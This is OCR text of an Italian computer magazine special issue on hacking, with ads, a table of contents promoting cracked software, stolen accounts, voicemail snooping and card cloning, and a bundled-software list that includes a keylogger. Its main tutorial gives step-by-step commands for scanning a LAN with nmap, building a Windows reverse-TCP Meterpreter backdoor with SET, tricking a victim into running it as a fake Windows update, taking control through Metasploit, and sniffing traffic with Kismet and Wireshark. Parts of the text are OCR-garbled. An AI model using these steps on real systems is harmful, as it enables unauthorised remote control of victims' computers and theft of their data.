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I pirati hanno creato un 
nuovo palinsesto che sblocca 
la visione di tutti i canali... 
anche quelli della pay TV 
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Anche rocchio vuole la sua parte 

Display ASUS 


con pannello IPS A+: scopri la qualità assoluta 


Vivi la realtà in tutte le sue sfumature grazie ai display ASUS con pannello IPS: un'esperienza visiva incredibile, un nuovo mondo di colori accurati 
e brillanti racchiusi in un design elegante ed ergonomico. L'elevata gamma cromatica e la luminosità eccezionale di questi monitor regalano una 
resa ancora più fedele, con immagini nitide e ricche di tonalità. La visione di foto, filmati, pagine web e videogiochi è sempre più coinvolgente e 
assolutamente realistica, perfetta per appassionati e professionisti dell'immagine grazie anche all’ angolo di visualizzazione orizzontale e verticale 
di 178°. L’esclusiva funzione ASUS QuickFit Virtual Scale, infine, rende davvero immediata l’elaborazione a schermo, a dimensioni reali di stampa, 
dei principali formati fotografici, documenti A4 e griglie di allineamento. La qualità degli LCD ASUS si riconosce anche dal servizio: 3 anni di 
garanzia sulle serie PA, PB, VG e VS ti daranno tutta la tranquillità di poter scegliere il monitor più adatto alle tue esigenze. 
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Immi li fi COSÌ 


Ecco il tool per entrare 
in qualsiasi PC e, vestendo 
i panni del pirata, divertirsi a: 


✓ Scovare password 

✓ Sottrarre foto 

e video dall'hard disk 

✓ Leggere le e-mail private 


✓ Spiare la chat 

✓ Entrare nel profilo 
Facebook 

✓ Controllare il PC da remoto 
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alla scoperta di tecniche e programmi oroibi 
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Scoprì le tecniche usate 
dai truffatori e proteggiti 
dai loro attacchi 


TELEVISIONI 
DA HACKER 


I pirati hanno creato un 
nuovo palinsesto che sblocca 
la visione di tutti i canali... 
anche quelli della pay TV 


SPIA LE SEGRETERIE 
TELEFONICHE 


C’è chi riesce ad origliare 
dal proprio telefonino 
i messaggi vocali altrui 


IL DISCO SEGRETO! 

Ecco il tool per entrare 
in qualsiasi PC e, vestendo 
i panni del pirata, divertirsi a: \ 

• Scovar* password » Sporr b dui 

*■ Sottrarre loto . (ritrarr net piota 

e srdeodjlhj.-cav 1 arresone 

• lecere le c-mad ornate . ContuPUre ri PC da remoto _ 
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CHIARO SU GOOGLE 
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SERIALI IN CHIARO 


Ecco la procedura per avere 
i codici dei programmi 
sempre sotto mano 


M B! 


Sul Web circolano account 
"rubati" ai siti di Filehosting. 
C'è chi li scova e accede 
come "abbonato non pagante" 
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Scovato il programma usato dai 
pirati per accedere ad un nuovo 
e immenso archivio segreto 














































Sommario 


Rete Wi-Fi a prova di hacker.17 

Usiamo gli strumenti dei pirati per testare la 
sicurezza delle reti wireless. I malintenzionati 
sono avvisati! 


ADSL gratis col crack del WPS.38 

Le nuove tecniche dei pirati per navigare a scrocco. 
Sei sicuro che il tuo router non sia a rischio? 
Scoprilo subito! 


SMS e app "azzera credito".18 

I nuovi virus entrano nel tuo telefonino 
e ti prosciugano la ricarica. Ecco l'app giusta 
per mettersi al sicuro 

Password in chiaro con Google.20 

Sul Web circolano account premium "rubati" ai siti 
di file sharing. C'è chi li scova e li usa per entrare 
come "abbonato non pagante" 

Sport gratis sullo smartphone.22 


Guarda in libertà, dal telefonino, partite di calcio 
ed eventi sportivi senza sottoscrivere alcun 
abbonamento 


Segreterìe, c'è chi le spia.24 

Ce chi riesce ad origliare dal proprio telefonino 
i messaggi vocali altrui lasciati in segreteria 

Recupero dati per cellulare.26 

Quando tutto sembra perduto chiediamo aiuto 
al PC per ripristinare rubrica, SMS, dati... 

La maschera per essere anonimi.30 

Paura di essere spiati? Con le nostre dritte 
e il software giusto possiamo navigare 
come fantasmi della Rete 


Chi si nasconde 

dietro la maschera.32 

Win Magazine ti svela identità e obiettivi 
di Anonymous, il gruppo hacker più chiacchierato 
del momento 

Così ti clono il bancomat.34 

Basta soltanto una chiavetta USB truccata 
per azzerare il nostro conto in banca. Svelati tutti 
i retroscena 


Così ti recupero il seriale.36 



Come mettere al sicuro i seriali dei programmi 
prima di passare alla formattazione 
e reinstallazione di Windows 


Hacker il disco segreto-8 

Abbiamo "smanettato" con il kit che buca 
la rete e attiva un canale autorizzato sul PC 


del malcapitato 


L'aspira password anche dal Web.... 40 

Scovato un tool che, come una microspia installata 
nel PC, rivela password, foto e video privati 

Facebook sei spiato.44 

Un semplice smanettone può bucare il tuo profilo. 

Ti facciamo vedere quanto è facile 

Il file sharing diventa social.46 

Addio ai siti di file hosting. Film e musica ora 
si scaricano dai social network 

eMule 2013.50 

Installa subito la nuova versione e metti alla prova 
le sue incredibili funzioni. Non te ne pentirai! 

Parola di Win Magazine 

Facebook & Co. mi avete stufato!.56 

Vogliamo cancellarci per sempre dai social 
network? Ecco i trucchi per far sparire ogni nostra 
traccia sul Web 

Adesso telefoni anche con l'iPad!.... 58 

Ecco come trasformare l’iPhone in dual sim 
e aggiungere il modulo 3G all'iPad 

Social network in cassaforte.60 

Come esportare il proprio profilo Facebook 
mettendo al riparo i dati da eventuali perdite 

Windows, Photoshop Nero... 

GRATIS!.62 

Ce un "trucco" (molto discusso!) per installare e 
usare gratis le versioni commerciali dei software 

Windows 8 ed è subito hacking.68 

Abbiamo smanettato con il nuovo OS Microsoft. 
Ecco le funzioni nascoste che siamo riusciti ad 
abitare 

Il browser degli hacker.74 

Le estensioni proibite per truccare Firefox e riuscire 
a fare "cose da pazzi" sul Web. Ecco come usarle 

Il file sharing dal telefonino.78 

Con uno smartphone Android e le applicazioni 
giuste, è possibile scaricare di tutto e di più dalle 
reti P2P.. 

Windows & Office gratis su iPad.80 

Incredibile ma vero! Abbiamo trovato il modo 
per usare OS e suite Microsoft direttamente 
sul gioiellino Apple 

Calcio intemazionale non solo su Sky 82 

Nel palinsesto dell'emittente satellitare non sono 
più compresi i campionati spagnolo e tedesco? 
Ecco l'alternativa! 

SMS gratis da PC e cellulare.84 

Abbiamo scovato il modo per installare WhatsApp 
: anche sul computer e messaggere gratis e senza 
I limiti con chiunque 


Ritornano 
gli Speciali di 
Win Magazine! 

E siamo arrivati a 7! Tante sono le raccolte 
tematiche che la redazione di Win Magazine 
ha sfornato per voi. Così come è stato fatto 
in passato, anche stavolta abbiamo pensato 
di proporre temi e argomenti particolarmente 
sentiti dai voi lettori. Prendendo spunto dalle 
tantissime e-mail ricevute siamo riusciti an¬ 
che questa volta a "isolare" 5 argomenti chia¬ 
ve: ADSL & Wi-Fi tutto il gratis che c'è Cal¬ 
cio e Film in chiaro Hacker (non) si fa così 
SOS PC problema risolto e Windows per 
tutti Ben 500 pagine ricche di tutorial, trucchi 
e consigli degli esperti che sapranno soddi¬ 
sfare proprio tutti, dal neofita all'appassiona- 
: to di tecnologia. Se a questo si aggiungono 
: i supporti multimediali allegati, che conten- 
: gono i software indispensabili per mettere 
in pratica i progetti proposti, l'offerta proposta 
: diventa assolutamente da non perdere. Non 
: fermarti allora allo Speciale che ti appresti a 
: sfogliare. Corri in edicola e completa la colle- 
; zione dei quaderni tematici di Win Magazine! 

La redazione 


Software: ecco 

le versioni truccate. 86 

Dai nostri laboratori le nuove ed esclusive versioni 
complete di e-Mule, Photoshop, Nero, Firefox... 

Lo scaricatutto universale— .92 

Trasforma il tuo computer in un aspirafile 
per registrare lo streaming Web e scaricare 
dalle sorgenti del P2P 

1D0 gigabyte di film gratis..98 

Ecco come visualizzare in streaming decine 
di film nella più totale legalità e senza spendere 
un centesimo 


I prezzi di tutti i prodotti riportati all'interno della rivista potrebbero subire variazioni e sono da intendersi IVA inclusa 


4 Win Magazine Speciali 




















































COOLPIX S800c 


At thè heart ofthelmage 


Nikon 


■ANNI 

GARANZIA 


I AM THE NIKON COOLPIX S800c. 

Sono la fotocamera compatta digitale Nikon 2.0. Da oggi con il semplice tocco dello schermo potrai 
caricare immagini e video su Facebook, Twitter o altri social media o album Online. Grazie, infatti, 
alla tecnologia del sistema operativo Android, di cui sono dotata, posso collegarmi a Internet tramite 
Wi-Fi, scaricare le numerose APP presenti su Google Play e condividere in modo semplice ed 
immediato con amici e parenti. 

II tutto con la consueta qualità d'immagine Nikon, grazie all'obiettivo zoom ottico NIKKOR lOx, al 
sensore CMOS da 16 megapixel retroilluminato, al preciso display touchscreen OLED ad alta risoluzione 
da 8,7 cm (3,5 pollici) e al sistema di stabilizzazione immagine VR a decentramento ottico, per risultati 
sensazionali anche in situazioni con scarsa illuminazione o con soggetti in movimento. La registrazione 
di filmati Full HD, poi, è ancora più divertente potendo applicare effetti speciali durante la ripresa. 
Cosa aspetti a venire a scoprirmi su nikoncoolpix.it? 
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NITAL CARD assicura 4 anni di garanzia e assistenza più accurata con ricambi originali. 
Infoline 199.124.172. Per estendere la garanzia a 4 anni è necessario registrare il prodotto via web alle 
condizioni riportate aH'interno della confezione o su www.nital.it 
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QSoftware in italiano 


ImgBum 570 

Questa applicazione è pratica- 
mente il motore di masterizza¬ 
zione di DVD Decrypter, e può 
masterizzare ISO più grandi di 4 
GB altrimenti non gestibili con il 
file System NTFS. 

Rie: lingBimap Freeware 

Ucsniff 320 

Nel file ZIP sono presenti Ucsniff 
e Wireshark: il primo permette di 
intercettare i video delle web- 
cam, il secondo è uno sniffer di 
rete e permette di raccogliere 
i dati che transitano sul Web, 
comprese le telefonate VolP. 

Rie: UCSNIFFip Freeware 



TOR Browser 23 O 

Questo software permette in 
pochi clic di navigare in maniera 
totalmente anonima perché non 
solo è in grado di nascondere 
il nostro indirizzo IP, ma anche 
di mascherare il traffico Internet 
generato dal browser stesso! 

Rie: TorBrowserzip Freeware 

Network Miner + Vladescu 

I software presenti nell'archivio 
ZIP permettono di recuperare 


informazioni dettagliate circa il 
traffico di rete generato dai PC 
collegati in LAN. È possibile an¬ 
che recuperare foto, messaggi di 
Facebook e password archiviate 
sul PC 

Rie: NetworkMiner^ip Freeware 

VLC Media Player 703 O 

Questo programma, grazie al 
supporto ad uno svariato nu¬ 
mero di codec multimediali e al 
ridotto impatto sulle prestazioni 
del sistema, è uno dei più ap¬ 
prezzati player multimediali in 
circolazione. 

Rie: VLCAp Freeware 

Mozilla Firefox i .oj O 

Tra le peculiarità di questo 
browser, oltre all'elevata sicu¬ 
rezza durante le navigazioni sul 
Web, ricordiamo la possibilità 
di personalizzare il programma 
attraverso piccoli plugin. 

Rie: Rrefoiuip Freeware 

UNetbootin 575 Q 

Questo software ci consente 
di trasformare una comune 
pendrive USB in un sistema 
Linux avviabile all'occorenza. 

In questo modo potremo avere 
sempre con noi un OS perfetta¬ 
mente configurato. 

Rie: unetbootiezip Freeware 

Deft D 

Deft Z è una distribuzione Linux 
che contiene tutti gli strumenti 


per effettuare un'accurata analisi 
dei contenuti e recuperare an¬ 
che file cancellati o nascosti nel 
sistema. 

File: www.winmagazme.it/link/1765 Freeware 

ProduKey 133 O 

Per recuperare i product key tra 
le migliaia di chiavi presenti nel 
registro, dobbiamo farci aiutare 
da questo software: semplice 
da usare, in pochi attimi estrae 
le informazioni necessarie all'at¬ 
tivazione dei sistemi operativi 
Windows. 

file: PraduKeyzìp Freeware 



HttpWatch Basic Editìon 3318 

Questo plug-in, compatibile con 
Internet Explorer e Firefox, per¬ 
mette di visualizzare, monitorare 
e analizzare il traffico di Rete 
integrandosi perfettamente nel 
browser. 

File: httpwatch.zip Freeware 

Win eMule 013 D 

Versione personalizzata del più 
usato programma di file sharing 
al mondo che la Redazione di 
Win Magazine regala ai lettori. 

Rie: Wm-eMulezip Freeware 


PRODOTTI COMPLETI 



Microsoft SeoirìtyEssentials « u 

Tieni alla larga dal tuo computer virus, worm 
e spyware 

Il programma di sicurezza di casa Microsoft include un 
antivirus e un antispyware che provvedono a control¬ 
lare e proteggere in tempo reale il PC dalla presenza di 
virus e software dannosi. Tra le opzioni disponibili, è 
possibile programmare azioni nel tempo, escludere file 
o processi dalle analisi e creare un punto di ripristino del 
sistema. Quest'ultima versione introduce la funzione 
Automatic Remediation, per mettere in quarantena le 
minacce senza richiedere l’intervento dell'utente. 

■ S.O.: Windows Vista/7 ■ Dim.: 17352 KB ■ Rie: MicrosoftSEzip 


Amnesia/lncognito 0.6.2 o 
Naviga su Internet senza lasciare tracce 

Distribuzione Linux che permette di navigare on-line in 
modo completamente anonimo. Trattandosi di un'im¬ 
magine .iso, può essere utilizzata direttamente da una 
pendrive USB, cioè senza essere installata definitiva¬ 
mente sul PC Per fare ciò si può utilizzare il tool Unet- 
bootin (presente anch'esso su 0). Grazie ad Unetbo- 
otin sarà infatti possibile creare un vero e proprio siste¬ 
ma tascabile. 

■ S.O.: Windows 2000/XP/Vista/7 ■ Dim.: 546.328 KB 

■ File: www.winmaga2ine.it/link/1759 









































Il software sul CD-Rom 


Simple Port 
Forwarding 33.0 O 

Il software consente di aprire 
direttamente le porte del ro- 
uter senza mettere mano al¬ 
le configurazioni, in maniera 
assolutamente elementare, 
fife: SimptePortFW-àp Freeware 



Avast! Free ' U 

Nuova versione per uno 
degli antivirus più utilizzati 
dagli utenti. Nella versione 7, 
Avast si presenta con novità 
e migliorie, a cominciare da 
quelle apportate alla funzio¬ 
ne di virtualizzazione Auto- 
Sandbox. 

File: Arast74> Freeware 

iMule 143 O 

Client peer-to-peer innova¬ 
tivo, molto simile ad eMule, 
che permette la condivisione 
in Rete dei file mantenendo 
l'anonimato. Il software si 
basa sulla rete protetta e 
cifrata I2P. 

Re: iMufeap Freeware 

uTorrent u O 

Questo dient P2P consente 


di scaricare da Internet filma¬ 
ti, musica e software utiliz¬ 
zando particolari file chiamati 
TORRENT. 

File: uTorrenlzip Freeware 

Ares 218 I I 

Ares è un programma di 
file sharing open source 
che include un player mul¬ 
timediale grazie al quale è 
possibile visualizzare l'ante¬ 
prima dei file che si stanno 
scaricando. 

File: Areszip Freeware 

WPA Tester 389 O 

Questa applicazione, una 
volta installata sul nostro 
smartphone Android, in 
pochi passaggi ci permetterà 
di verificare verificare se 
la chiave WPA restituita è 
"sicura"! 

Re: www.winmagazirre.iWink/1757 
Freeware 



BlueStacks App Player 

Grazie a BlueStacks, un 
emulatore di Android per 
sistemi operativi Windows 
e Mac, possiamo installare 


un'app per smartphone an¬ 
che sul nostro PC 

File: BlueStacksJip Freeware 

NitroShare 2 O 

NitroShare dialoga ottima¬ 
mente con tutti i sistemi 
operativi presenti in una rete 
e permette di condividere le 
cartelle tra questi. I file saran¬ 
no così accessibili da qua¬ 
lunque computer connesso. 

File: NitroStiarejp Freeware 

Mail Attachment 
Downloader 2 

Pratico e semplice da con¬ 
figurare, grazie al supporto 
per gli standard P0P3 e IMAP, 
questo programma può co¬ 
municare con tutti i provider 
di servizi di posta elettronica 
e permette di scaricare facil¬ 
mente tutti gli allegati. 

File: MaHAttactimentDownloder zip Freeware 

StealthNet 379 O 

Tra i migliori tool di P2P 
anonimo utilizzabili c'è 
sicuramente StealthNet, un 
software che si appoggia 
ad una nuova rete di nome 
RShare. 

File: stealttmeuip Freeware 

Windows 7 USB/DVD 
Download Tool 

Questo tool, con una proce¬ 
dura guidata, consentirà di 
trasferire il sistema operativo 


su USB 0 DVD. Dopo sarà 
possibile installare Windows 
7 sul PC direttamente dal 
DVD 0 dalla pendrive. 

File: Windows7-USB-OVDiir> Freeware 



Surf Anonymous 
Free 2228 

Il software, una volta instal¬ 
lato nel computer, compie 
operazioni di mascheramen¬ 
to dell'IP in modo da confon¬ 
dere i server a cui si accede. 

File: SurfAnonyirotisjp Free 

SpyShelter Personal 
Free 6.00 O 

Il software, che non neces¬ 
sita di un database per il 
controllo delle firme, utilizza 
diversi metodi di rilevazione 
per analizzare il sistema in 
modo dettagliato alla ricerca 
di keylogger, trojan e pro¬ 
grammi spia. 

File: SpyShelter iip Freeware 

Spyware Blaster ■> 

Questo programma è in gra¬ 
do di proteggere il computer 
da controlli ActiveX maligni 
che possono portare all'in- 


: stallatone indesiderata di 
; dialer, spyware e malware. 

File: spyBlasteuip Freeware 

Actual Spy 3.0 

; Il programma è un keylogger 
: e permette di registrare le 
: azioni compiute dall'utente 
; durante l'uso quotidiano del 
I computer. In dettaglio, me- 
: morizza ogni informazione 
; sul file di log che genera. 

File: actualspyiip Freeware 

KeyScrambler 
Personal 292 

; KeyScrambler è uno dei mi¬ 
gliori "antidoti” ai keylogger, 
perché durante la navigazio- 
; ne crittografa l'informazione 
; trasmessa dalla tastiera 
: prima ancora che questa sia 
: elaborata dal PC 

File; KeyScramblerjp Freeware 



TeamViewer 314563 O 

Il software permette di sfrut¬ 
tare Internet per creare un 
collegamento a un qualsiasi 
computer e poterlo control¬ 
lare in remoto. 

He: TeamViewerip Freeware 



Lo sblocca password 

Bastano due die per rimuovere la protezione 
dai file PDF Word, Excel- 

Il software "Word and Excel Password Recovery" per¬ 
mette di togliere la protezione a tutti quei file creati con 
Word ed Excel che sono bloccati da una parola chiave. Il 
tool può effettuare due tipi di attacco: Dictionaiy (basa¬ 
to su parole di uso comune) e Brute Force (cerca ogni 
possibile combinazione tra caratteri e cifre). PDF Unlock, 
invece, cerca di aggirare questi tipi di protezione sui file 
PDF tramite pochi die del mouse basta infatti caricare il 
PDF da sproteggere tramite il pulsante "Sfoglia" e dicca- 
re "Unlock!" per rimuovere la protezione! 

■ SD.: Windows XP/Vista/7 ■ Din: 1 MB ■ File: FreeWordExcel^ip 


Absinthe 2 . 0.4 

Il kit per sbloccare le funzioni del tuo 
dispositivo Apple 

Questo tool permette di effettuare procedure di sbloc¬ 
co "untethered" su dispositivi Apple basati su iOS 511 
Absinthe 2.0 è compatibile con iPhone, iPad e iPod 
Touch ed è disponibile per sistemi Windows, Mac OS X 
e Unux: basta collegare l'iDevice al computer, lanciare il 
software e premere il pulsante sull'Interfaccia! Natural¬ 
mente, prima di procedere si raccomanda la massima 
cautela nell 1 effettuare preventivamente il backup del 
device su iTunes, da ripristinare alla fine del processo. 



■ S.O.: Windows XP/Vista/7 ■ Dim.: 5.138 KB ■ File: absintaip 



BackTradc Linux s 

La tua rete Wr-Fi è sicura? Scoprilo subito 
con i software utilizzati dagli hacker! 

Questa distribuzione Unux viene utilizzata principal¬ 
mente dai tecnici per verificare il livello di sicurezza dei 
computer. La versione 5 (nome in codice Revolution) 
include più di 348 tool di sicurezza e si focalizza prin¬ 
cipalmente sulla maggiore compatibilità/flessibilità 
deH'hardware. L'immagine della distribuzione (in forma¬ 
to ISO) deve essere masterizzata su DVD: basta inserire 
un disco vuoto nel masterizzatore, avviare il software 
ImgBum e lanciare la scrittura del file. 

■ S.O.: (ha ■ Din: 1898802 KB ■ Re: www.wiimagaaneit/link/1758 
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Hacker 
segreto 

Abbiamo “smanettato” con il kit 
che buca la rete e attiva un canale 
autorizzato sul PC del malcapitato 


Cosa ci 
occorre 


TOOL DI HACKING 

BACKTRACK 

LINUX 

mco 

renar,’mnwi.'.iSnTi» 

Sito Internet: www. 
backtrack-linux.org 


I l rischio più probabile a cui andiamo in¬ 
contro ogni volta che usiamo un PC è che 
i nostri dati vaghino in giro per la Rete, 
finendo nelle mani sbagliate. A quel punto, 
chiunque abbia un minimo di conoscenze 
tecniche e sia a conoscenza del nostro indi¬ 
rizzo IP, riuscirà ad analizzare l'intero traffico 
di rete, inclusi i siti Web che raggiungiamo 
o le password che digitiamo. Per farlo, può 
intraprendere differenti strade ma senza 
ombra di dubbio la più conosciuta, rapida e 
funzionale è quella di sfruttare le vulnerabi¬ 
lità del sistema operativo che utilizziamo. 

Sistemi operativi a rischio 

Inutile precisare che il pirata preferisce avere 
a che fare con gli utenti Windows che, fra gli 
OS più conosciuti, è di sicuro quello più a 
rischio e sul quale è più semplice installare 
una backdoor per farsi poi spazio nell'hard 
disk. Ma non dobbiamo dimenticare che Mac 
OS X o lo stesso Linux non sono esenti da tale 
problematica: ogni sistema operativo ha, 
infatti, il suo tallone d Achille e l’unica arma 
che abbiamo a disposizione per difenderci è 
quella di conoscere tutte le vulnerabilità del 
sistema che utilizziamo. E poi c’è Facebook, 
il luogo preferito non solo da milioni di utenti 
sparsi per il mondo ma anche dai pirati asse¬ 
tati di dati altrui. Riuscire a creare un clone 
perfetto dell’home page del social network in 
blu è veramente un gioco da ragazzi e ai pirati 
basta poco per dirottarci su queste pagine 
fasulle dove, ignari del pericolo incombente, 
andremo ad effettuare il login usando user- 
name e password del nostro account! Come 
difendersi? Imparando ad usare le stesse armi 
d'attacco dei pirati! Immergiamoci, dunque, 
in questa nuova avventura, analizzando ogni 
singolo caso e ogni possibile minaccia: solo 
così riusciremo a creare un’invalicabile linea 
di difesa. 


1 

i 

I 
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□ Grimaldello da taschino 


Lo strumento preferito dai pirati per intrufolarsi nei computer altrui è la distribuzione BackTrack Linux: semplice 
da usare e ricca di tool adatti allo scopo, può essere installata anche su chiavetta USB. 



Tutto su un DVD 

■J | Dal CD-Rom cucchiamo sul pulsante Scarica 
presente in fondo alla recensione. Al termine 
troveremo il file BT5R1 -GN0ME-32.iso con l'imma¬ 
gine della distribuzione da masterizzare. Inseriamo un 
DVD vuoto nel masterizzatore, avviamo Nero Buming 
Rom e dicchiamo su Masterìzzatore/Scrìvi immagine. 


Dentro al BIOS 

2 ! Terminata la masterizzazione, riavviamo il 
wi PC. Accediamo al BIOS premendo Cane e 
impostiamo il boot da periferica DVD. L'operazio¬ 
ne varia in base al tipo di scheda madre installata 
nel computer. Inseriamo quindi nel lettore il disco 
di BackTrack e riavviamo nuovamente il PC. 


^ Avviamo la distro 

2 ! Verrà caricata la distribuzione. Nella scher- 
mata di boot che appare selezioniamo Bac¬ 
kTrack Texte confermiamo con Invio. Digitiamo 
il comando startx , premiamo Invio e attendiamo 
il caricamento dell'interfaccia grafica. La distro è 
pronta per essere usata in modalità Live DVD. 



* Usiamola da chiavetta 

■J 1 Colleghiamo una pendrive con almeno 4 GB 
di spazio libero ad un ingresso USB disponi¬ 
bile sul computer e cucchiamo sul pulsante Instali 
BackTrack 5 HI presente sulla Scrivania. Selezio¬ 
niamo quindi la lingua Italiano e marno la proce¬ 
dura guidata con un clic sul pulsante Avanti. 


* Partizioni da smontare 

2 il Proseguiamo fino a raggiungere la sche- 
da Disposizione della tastiera. Scegliamo 
l'opzione Italia e rispondiamo cliccando su 5/ alla 
domanda Smontare le partizioni in uso. Così facen¬ 
do potremo installare BackTrack 5 Ri anche sulla 
pendrive USB collegata precedentemente al PC. 


^ La pendrive è pronta! 

3 1 Clicchiamo su Avanti fino a raggiungere la 
scheda Preparazione spazio su disco. Sce¬ 
gliamo l’opzione Cancella e usa l’intero disco tra 
quelle proposte. Dal menu a tendina selezioniamo 
la periferica USB (indicata con sdb) e confermiamo 
premendo ancora una volta il pulsante Avanti. 



^ Rendiamola avviabile 

4 \ Prima di procedere all'installazione definitiva della distro, clicchiamo 
w sul pulsante Avanzato Abilitiamo l’opzione Installare il boot loader e 
selezioniamo dal menu a tendina la pendrive USB (nel nostro caso, clicchia¬ 
mo /dev/sdb). Confermiamo con un clic sul pulsante OK. 


^ Installazione in corso 

g I Non rimane che cliccare sul pulsante Installa e attendere che l'instal- 
^—J lazione venga correttamente portata a buon fine. Completata la pro¬ 
cedura guidata, potremo riawiare il computer ed effettuare il boot dalla peri¬ 
ferica USB, impostando la voce corretta nel BIOS (Passo 2). ► 
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Accesso non autorizzato 


Grazie al programma Nmap, il pirata rileva l'indirizzo IP e il sistema operativo della vittima. In questo modo potrà 
identificare facilmente i punti deboli del computer attaccato per usarli a proprio vantaggio. 



^ Scansione in corso 

•| j Ottenuto l’accesso alla LAN cui è collega- 
ta la vittima, il pirata avvia il Terminale e 
digita il comando nmap -sP - PT80 seguito dal 
range di indirizzi IP da scansionare (nel caso in 
esempio, da 192.168.114.1 a 192.168.114.10j. 
Conferma con Invio e attende il risultato. 


Porte aperte sul PC 

2 Osservando l’output ottenuto, decide di 
analizzare ogni singolo IP rilevato. Digita 
il comando nmap -sS seguito dall’indirizzo della 
vittima (nell'esempio, 192.168.114.1) e attende 
che l'elenco delle eventuali porte aperte sul PC 
della vittima venga mostrato su schermo. 


OS rilevato! 


3 ì li pirata continua la sua fase di analisi cer- 
w cando di scoprire quale tipo di sistema 
operativo è utilizzato sul computer della vittima. 
Digita quindi il comando nmap -0 seguito dall’in¬ 
dirizzo IP (nel caso in esempio, 192.168.114.1)e 
attende che venga visualizzato il verdetto. 


0 Rete bucata in tre mosse 


Le falle di sicurezza degli OS più diffusi consentono al pirata di intrufolarsi agevolmente nel nostro PC. Per farlo, 
deve prima creare un “payload”, cioè un programma per l’accesso da remoto. Ecco in che modo. 




Tutto da linea di comando 


Avviata una nuova sessione del Terminale, 
il pirata accede con cd alla directory pen- 
test/exploits/sete impartisce il comando ./set per 
avviare il software Set Sceglie l'opzione 4 per cre¬ 
are un payload e un listener (una lista di operazioni 
da eseguire) da iniettare nel PC della vittima. 


Obiettivo: Windows 

2 I Supponendo che il pirata voglia colpire un 
/ PC con sistema operativo Windows (quello 
rilevato in precedenza da Nmap), il pirata digita 2 
e conferma con Invio per scegliere l’opzione Win¬ 
dows Reverse_ TCP Meterpreter (mediante il qua¬ 
le controllerà il PC vittima da Terminale). 


Una porta d’ingresso 

3 f A questo punto, il pirata crea un file esegui¬ 
ci/ bile capace di sfruttare una backdoor attiva 
sul PC bersaglio. Digita quindi 16 e conferma con 
Invio. Indica una porta di ascolto (nel nostro caso 
abbiamo scelto la 4444) e preme nuovamente 
Invio. Attende dunque che l’.exevenga generato. 
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Creata la backdoor, il pirata sfrutta alcune tecniche di ingegneria sociale per installarla sul PC 
della vittima. Per riuscire a prendere il controllo del sistema da remoto, usa il tool Metasploit. 




^ Il file fondamentale 


1 Usando il file manager di BackTrack, il pirata raggiunge 
w la directory set in pentest/exploits con il comando cd. 
Copia quindi il file msf.exe creato in precedenza (Passo C3) e, 
tramite pratiche di social engineering, lo trasferisce sul PC della 
vittima, avviandolo. 


Metasploit in azione 


2 f A questo punto, il pirata avvia una sessione del Termina¬ 
ta»»/ le e con il comando cd raggiunge il percorso /opt/frame 
work/msf3. Digita il comando ,/msfconsole per avviare il sof¬ 
tware Metasploit, che utilizzerà per controllare anche da remoto 
il sistema della sua vittima. 




Ecco la porta d’accesso 

I pirata lancia prima il comando use exploit/multi/han- 
dler e poi set payioad windows/meterpreter/reverse_ 
tcp. Indica l’indirizzo IP della vittima con setlhost( nel caso in 
esempio, 192.168.114.1) e la porta configurata in precedenza 
(Passo C3) con set Iport 4444. 


^ Traguardo raggiunto! 



I pirata dà il comando exploit e attende che la vittima 
awii il file msf.exe. magari facendole credere che si tratti 
di un update di Windows. Non appena il pesce avrà abbocca¬ 
to, Metasploit restituirà un messaggio di conferma e avvierà il 
meterpreter creato dal pirata! 


SOCIAL 

ENGINEERING 

L'ingegneria sociale è 
un insieme di tecniche 
adottate dai pirati 
informatici (e, più in 
generale, dai truffatori) 
per venire a conoscenza 
delle informazioni 
personali delle loro 
vittime. 

EXPLOIT 

Con questo termine 
si identifica un codice 
che, sfruttando un bug 
ouna vulnerabilità 
del sistema operativo 
attaccato, porta all'ac¬ 
quisizione di privilegi di 
amministratore. 

BACKDOOR 

Si tratta di una porta di 
comunicazione aperta 
sul sistema vittima che 
permette di bypassare 
le eventuali protezioni 
attive. 

PAYLOAD 

Letteralmente, carico 
utile. Indica quella 
parte di codice di un 
malware che svolge il 
"lavoro sporco", cioè 
le operazioni che 
permettono al virus 
di infettare il sistema 
dell'utente. 



Nel PC della vittima! 

5 I II pirata ha ora a disposizione una serie di comandi che 
w può usare per controllare da remoto la copia di Windows 
7 installata nel PC del malcapitato. Per scoprirli, digita help. Per 
catturare ad esempio una schermata del desktop, gli basta sem¬ 
plicemente lanciare il comando screenshot. 


* Pieno controllo 

0 J Può inoltre avviare e gestire il Prompt dei comandi di 
w Windows digitando semplicemente il comando execute 
-fcmd seguito da Invio o addirittura spegnere il PC della vittima 
lanciando il comando shutdown. E non c’è antivirus o firewall 
che tenga: anche Windows 7 è stato bucato! 


► 
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Password e codici di accesso 


Dopo aver ottenuto l’accesso al sistema attaccato, il pirata riesce a catturare tutti i dati in transito sulla nostra 
rete senza fili, per poi analizzarli vedendo in chiaro password e non solo! 



Una spia in rete 


■J i In BackTrack il pirata avvia una nuova 
w sessione del Terminale e digita il coman¬ 
do kismet per avviare il tool di sniffing (analisi del 
traffico) di rete. Alla domanda Start Kismet Server 
risponde Yes e attende qualche secondo affinché 
il software si configuri automaticamente. 


Wireless sotto controllo 


2 \ Quando viene richiesta l'aggiunta di un'in- 
K-J terfaccia di rete, il pirata conferma con 
Yes e compila il campo Intf con il nome assegna¬ 
to alla scheda senza fili (ad esempio, wlanO] e 
conferma con Add. Per conoscere le interfacce di 
rete digita da Terminale il comando iwconfig. 


Sniffino in corso 


3 Kismet è pronto e operativo. Tutti i pac- 
W chetti trasmessi ini rete e catturati vengo¬ 
no visualizzati nell’interfaccia grafica principale 
del software. Quando il pirata avrà raggiunto la 
quantità di dati desiderata, può fermare la cattura 
con Disconnect presente nel menu Kismet. 



In ascolto sulla LAN 


Il nemico potrebbe anche nascondersi aH’interno della nostra rete locale interna e, utilizzando Wireshark, riuscire 
a sniffare i pacchetti che viaggiano via cavo. Ecco la tecnica utilizzata. 



Il tool giusto 

■J ; Il pirata raggiunge la voce Wireshark dal 
w menu Applications/BackTrack/Informa- 
tion Gathering/Network Analysis/Network Traf- 
ficAnalysis. Avvia quindi il software verificando di 
essere in possesso dei privilegi di amministratore e 
clicca su List thè available capute interfaces. 


a Ecco i pacchetti! 

2 : Sceglie fra ethO o wlanO e avvia il processo 
diccando Start. Lo sniffing ha inizio: tutti i 
pacchetti in transito vengono visualizzati nell’in¬ 
terfaccia principale di Wireshark. Quando il pirata 
avrà raggiunto il suo obiettivo, ferma il processo 
cliccando Stop thè running live capture. 



^ fe tutto memorizzato 

Q I A questo punto il pirata si sposta nel menu 
wi File e seleziona l'opzione Save per salva¬ 
re una copia di tutti i pacchetti catturati. Indica un 
nome ed una directory di destinazione e termina 
